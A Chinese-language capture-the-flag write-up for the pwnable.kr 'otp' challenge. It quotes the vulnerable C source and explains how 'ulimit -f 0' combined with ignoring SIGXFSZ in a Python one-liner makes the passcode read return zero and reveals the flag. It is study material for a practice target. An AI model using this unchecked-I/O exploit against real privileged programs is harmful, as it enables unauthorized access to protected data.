1. 程式人生 > >pwnable(otp)(open,read等函式的檢查缺失)

pwnable(otp)(open,read等函式的檢查缺失)

遠端拷貝檔案到本地 scp -P 2222 [email protected]:/home/otp/opt .

學習到的函式strtoul(argv[1], 0, 16)str轉化位long,以16進位制方式。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>

int main(int argc, char* argv[]){
	char fname[128];
	unsigned long long otp[2];

	if(argc!=2){
		printf("usage : ./otp [passcode]\n");
		return 0;
	}

	int fd = open("/dev/urandom", O_RDONLY);
	if(fd==-1) exit(-1);

	if(read(fd, otp, 16)!=16) exit(-1);
	close(fd);

	sprintf(fname, "/tmp/%llu", otp[0]);
	FILE* fp = fopen(fname, "w");
	if(fp==NULL){ exit(-1); }
	fwrite(&otp[1], 8, 1, fp);
	fclose(fp);

	printf("OTP generated.\n");

	unsigned long long passcode=0;
	FILE* fp2 = fopen(fname, "r");
	if(fp2==NULL){ exit(-1); }
	fread(&passcode, 8, 1, fp2);
	fclose(fp2);
	
	if(strtoul(argv[1], 0, 16) == passcode){
		printf("Congratz!\n");
		system("/bin/cat flag");
	}
	else{
		printf("OTP mismatch\n");
	}

	unlink(fname);
	return 0;
}

程式生成了一個隨機數放入檔案,然後讀取這個檔案然後讓這個檔案跟輸入的password進行比較相同獲取shell。

這裡可以觀察到fread(&passcode, 8, 1, fp2);是沒有驗證是否成功的,如果能夠開啟檔案成功但是讀取檔案中內容的時候失敗就能獲取shell。 接下來就是想辦法控制完成這一條件 可以用ulimit ulimit瞭解一下 在這裡可以設定檔案

[email protected]:~$ ulimit -a
core file size          (blocks, -c) 0
data seg size           (kbytes, -d) 1500000
scheduling priority             (-e) 0
file size               (blocks, -f) 120000
pending signals                 (-i) 31753
max locked memory       (kbytes, -l) 64
max memory size         (kbytes, -m) unlimited
open files                      (-n) 1500
pipe size            (512 bytes, -p) 8
POSIX message queues     (bytes, -q) 819200
real-time priority              (-r) 0
stack size              (kbytes, -s) 8192
cpu time               (seconds, -t) unlimited
max user processes              (-u) 300
virtual memory          (kbytes, -v) unlimited
file locks                      (-x) unlimited
[email protected]
:~$ ulimit -f 0 [email protected]:~$ ulimit -a core file size (blocks, -c) 0 data seg size (kbytes, -d) 1500000 scheduling priority (-e) 0 file size (blocks, -f) 0 pending signals (-i) 31753 max locked memory (kbytes, -l) 64 max memory size (kbytes, -m) unlimited open files (-n) 1500 pipe size (512 bytes, -p) 8 POSIX message queues (bytes, -q) 819200 real-time priority (-r) 0 stack size (kbytes, -s) 8192 cpu time (seconds, -t) unlimited max user processes (-u) 300 virtual memory (kbytes, -v) unlimited file locks (-x) unlimited

設定shell所能建立的最大檔案為0 但是這個時候執行的時候會報錯

[email protected]:~$ ./otp 0
File size limit exceeded

這個錯誤是作為訊號進行傳播的,linux系統中訊號是可以被忽略的

import signal
signal.signal(signal.SIGXFSZ,signal.SIG_IGN)

可以在python的互動視窗中獲取shell

>> import os,signal
>>> signal.signal(signal.SIGXFSZ,signal.SIG_IGN)
1
>>> os.system('./otp 0')
OTP generated.
Congratz!
Darn... I always forget to check the return value of fclose() :(
0

但是我們還可以直接用一條命令來輸出

ulimit -f 0 && python -c "import os,signal; signal.signal(signal.SIGXFSZ,signal.SIG_IGN); os.system('./otp 0')"

分析:設定ulimit -f 0使fwrite(&otp[1], 8, 1, fp);失敗,建立的檔案中資料寫入失敗讀取出來的就是0